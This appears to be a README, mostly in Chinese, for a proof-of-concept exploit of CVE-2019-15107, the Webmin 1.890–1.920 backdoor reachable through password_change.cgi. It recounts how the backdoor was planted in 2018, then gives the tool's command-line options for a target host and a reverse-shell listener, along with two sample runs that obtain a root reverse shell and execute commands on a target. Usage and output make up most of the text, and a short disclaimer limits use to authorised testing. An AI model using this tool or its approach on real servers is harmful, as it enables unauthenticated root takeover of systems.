此仓库包含针对 CVE-2019-15107 的概念验证(PoC)漏洞利用程序,影响 Webmin 1.890 至 1.920 版本。
该脚本利用了 1.890 至 1.920 版本中的后门,允许未认证用户通过 old(在 v1.890 中为 expired)参数向 password_change.cgi 端点注入命令。只有 SourceForge 的下载被植入了后门,但它们却被列为项目官网上的官方下载。
未知攻击者曾两次在构建服务器的源代码中插入 Perl qx 语句:一次是在 2018 年 4 月,在 1.890 版本中引入了后门;另一次是在 2018 年 7 月,在 1.900 至 1.920 版本中重新引入了该后门。
在默认安装中,只有 1.890 版本可以被利用。后续受影响版本需要启用过期密码修改功能。
该漏洞利用程序已在以下环境中成功测试:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
此工具仅用于教育和授权测试目的。未经授权对您不拥有或没有测试许可的系统进行使用属于违法行为。请负责任地使用。